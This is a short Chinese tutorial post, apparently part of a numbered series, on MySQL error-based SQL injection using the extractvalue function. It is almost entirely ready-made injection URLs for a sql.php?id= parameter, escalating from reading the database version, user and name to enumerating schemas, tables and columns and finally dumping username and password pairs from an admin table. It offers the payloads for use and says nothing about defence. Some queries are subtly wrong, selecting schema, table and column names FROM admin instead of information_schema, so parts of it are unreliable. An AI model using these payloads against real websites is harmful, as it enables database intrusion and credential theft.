21、注入篇————MYSQL数据库Extravtvalue报错注入

本文提供了多个利用MYSQL数据库的Extravtvalue函数进行SQL注入攻击的例子，包括查询数据库版本信息、获取用户信息等。这些例子展示了如何通过构造特定的URL参数来非法获取数据库中的敏感信息。

MYSQL数据库Extravtvalue报错注入

查询数据库版本信息

http://www.hackblog.cn/sql.php?id=1 and extractvalue(1, concat(0x7e, (select @@version),0x7e))

链接用户

http://www.hackblog.cn/sql.php?id=1 and extractvalue(1, concat(0x7e, (select user()),0x7e))

链接数据库

http://www.hackblog.cn/sql.php?id=1 and extractvalue(1, concat(0x7e, (select database()),0x7e))

爆库

http://www.hackblog.cn/sql.php?id=1 and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x7e,schema_name,0x7e) FROM admin limit 0,1)))

爆表

http://www.hackblog.cn/sql.php?id=1 and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x7e,table_name,0x7e) FROM admin limit 0,1)))

爆字段

http://www.hackblog.cn/sql.php?id=1 and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x7e,column_name,0x7e) FROM admin limit 0,1)))

爆内容

http://www.hackblog.cn/sql.php?id=1 and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)))